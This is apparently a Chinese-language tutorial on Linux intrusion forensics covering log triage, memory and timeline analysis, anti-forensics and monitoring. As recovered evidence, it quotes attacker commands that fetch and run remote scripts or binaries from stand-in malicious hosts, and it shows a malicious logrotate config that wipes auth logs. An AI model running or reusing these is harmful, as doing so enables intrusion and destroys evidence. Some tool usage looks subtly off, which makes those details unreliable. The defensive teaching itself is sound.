一、从异常告警到真相大白

最近朋友任职的在线教育平台遭遇数据泄露，攻击者在凌晨三点完成入侵。他们服务器是CentOS系统，安全团队通过日志溯源时却抓耳挠腮——有人用root执行了异常命令，但系统日志都被清空过一轮。这就像暴风雨后查水表，虽然雨停了，但还能通过地面痕迹判断水流方向。

这事件映射出现实困境：Linux系统往往直接暴露在公网，但85%的中小企业缺乏完善的审计体系。本系列将用生产环境中真实案例，还原如何通过日志+取证的组合拳构建完整的入侵拼图。

二、基础取证工具全家桶（现场搭建）

在开始调查前要准备好"三件套"：

# CentOS取证工具包安装（使用yum包管理器）
sudo yum install -y audit sleuthkit libtsk-java  # 审计系统与文件分析工具
sudo rpm -ivh https://forensics.cert.org/cert-forensics-tools-release-el7.rpm  # 第三方取证源
sudo yum install plaso log2timeline  # 时间轴生成工具

当接到服务器被黑的紧急通知时，首要任务是创建内存快照：

# 使用LiME获取物理内存镜像（需内核模块支持）
sudo insmod lime-5.4.89-19.0016.el7.x86_64.ko "path=/mnt/nas/memdump_$(date +%s).lime format=lime"

此时千万别急着关机！内存中的进程列表、网络连接等易失性数据可能包含重要线索。去年某电商平台就是靠内存分析发现了攻击者用过的反弹shell进程。

三、日志分析的"望闻问切"

假设我们拿到了一台问题服务器的/var/log目录，先从认证日志切入：

# 查看暴力破解痕迹（示例基于rsyslog日志格式）
grep "Failed password" /var/log/secure | awk '{print $9}' | sort | uniq -c | sort -nr

# 输出样例：
# 142 218.92.207.56
# 23 101.226.103.121
# 5 192.168.1.105

这组数据显示外部IP 218.92.207.56进行了密集的SSH爆破。但有个诡异点：内网IP 192.168.1.105也出现过5次失败记录，而该服务器应该只有公网接入。

这时可结合last命令确认登录情况：

last -i | grep -v '0.0.0.0\|127.0.0.1'  # 排除本地登录
# 显示用户devops从192.168.1.105登录过两次

但网络拓扑显示该服务器不开放内网访问！这说明攻击者可能已控制内网跳板机，使用密钥进行了横向移动。

四、时间线魔术：将碎片拼成故事

当发现某重要文件被篡改时，使用extundelete尝试恢复：

extundelete /dev/sda1 --restore-file etc/shadow --after $(date -d "3 days ago" +%s)

但更高效的是建立完整的时间线：

# 使用log2timeline生成事件序列（EXT4文件系统示例）
sudo log2timeline.py --parsers 'winjob,linux' timeline.plaso /dev/sda1
psort.py -w timeline.csv timeline.plaso "date > '2023-05-01'"  # 筛选特定时间

在CSV结果中看到两个关键事件：

2023-05-12T02:15:32+08:00,FILE,Modify,/usr/bin/curl (inode 13254)
2023-05-12T02:17:11+08:00,EVENT,Execve,"/usr/bin/curl -s http://malware.c2/backdoor.sh | bash"

攻击者在替换系统curl后，通过合法程序下载恶意脚本。这种方法能绕过传统的HIDS监控，但会被执行日志和文件哈希校验发现。

五、恶意软件现形记

某次应急响应中发现异常CPU占用，使用memdump分析：

# 使用Volatility3分析内存镜像（Python3工具集）
vol -f memory.dmp linux.bash | grep -A 10 'wget'
# 显示可疑命令：
# /usr/bin/wget http://badtg.xyz/tools/nc -O /tmp/.X11-unix/.cache && chmod +x /tmp/.X11-unix/.cache

攻击者使用双重隐藏技巧：将文件放在X11临时目录，并使用点开头的文件名。使用inotify实时监控可以捕获此类行为：

# 监控文件创建事件（基于inotify-tools包）
inotifywait -m /tmp/.X11-unix -e create | while read path action file; do
  file_path="${path}/${file}"
  [[ $(file -b "$file_path") =~ ELF ]] && \
    echo "ELF文件被创建于隐藏目录：$file_path" | mail -s "异常警报" sec@corp.com
done

六、黑客抹痕与对抗取证

老练的攻击者会使用logrotate清理日志：

# 恶意logrotate配置示例 (/etc/logrotate.d/evil)
/var/log/secure {
    daily
    rotate 0  # 不保留旧日志
    missingok
    nocompress
    prerotate
        /usr/sbin/logrotate --force /etc/logrotate.d/evil >/dev/null 2>&1 &
    endscript
}

对抗这种手法需要启用日志的实时同步：

# 使用rsyslog的ompipe模块将日志实时转发（需预先部署日志服务器）
module(load="ompipe")
action(type="ompipe" Pipe="/tmp/logpipe" template="RemoteLogTemplate")

然后在另一终端创建命名管道：

mkfifo /tmp/logpipe
tail -f /tmp/logpipe | nc logserver 514  # 实时传输到远程服务器

七、攻防三十六计

在虚拟化环境中，取证要考虑到云厂商的特殊性。某次AWS EC2入侵事件中，攻击者删除了大部分日志，但通过云审计日志发现了端倪：

# 使用AWS CLI查询CloudTrail日志（需要相应IAM权限）
aws cloudtrail lookup-events \
    --lookup-attributes AttributeKey=EventName,AttributeValue=DeleteLogGroup \
    --start-time "2023-06-01T00:00:00" \
    --end-time "2023-06-02T00:00:00" \
    --query 'Events[*].CloudTrailEvent' --output text | jq .

结果显示攻击者在凌晨03:14删除了CloudWatch的日志组，这个行为本身被记录在云审计日志里，成为关键突破口。

八、构建免疫系统：让下次更从容

根据多次应急响应经验，推荐部署以下检测策略：

# 全盘文件完整性监控（使用AIDE）
sudo aideinit --force  # 首次初始化数据库
echo "0 3 * * * /usr/sbin/aide --check | mail -s 'AIDE日报' sec@corp.com" | sudo tee /etc/cron.d/aide_check

针对进程隐藏的高级攻击，内核级检测更可靠：

# 使用SystemTap监控进程创建（需开发机内核头文件）
probe syscall.execve {
    printf("%s[%d]执行: %s\n", execname(), pid(), argstr)
}

1、应用场景

生产服务器入侵调查、数据泄露溯源、合规审计证据收集、恶意软件行为分析、内部违规操作取证。

2、技术优缺点

优点：

  1. 无需商业软件即可完成基本取证
  2. 时间线重建能发现隐蔽关联
  3. 内存取证保留易失性证据

缺点：

  1. 日志被删除时修复成本高
  2. 内核工具使用门槛较高
  3. 全量监控对性能有影响

3、注意事项

  1. 取证前先做内存快照
  2. 使用写保护设备保存镜像
  3. 确保所有操作可复现
  4. 注意系统时间是否被篡改
  5. 云环境需结合厂商日志

4、总结

就像刑警需要培养现场直觉，安全人员也要建立"日志嗅觉"。通过本文的真实场景复现，我们可以形成系统的分析路径：从网络层日志定位入口点，系统层日志跟踪操作轨迹，最后用文件取证形成证据链。防御总是滞后于攻击，完整可靠的日志体系能让"亡羊补牢"变成"瓮中捉鳖"。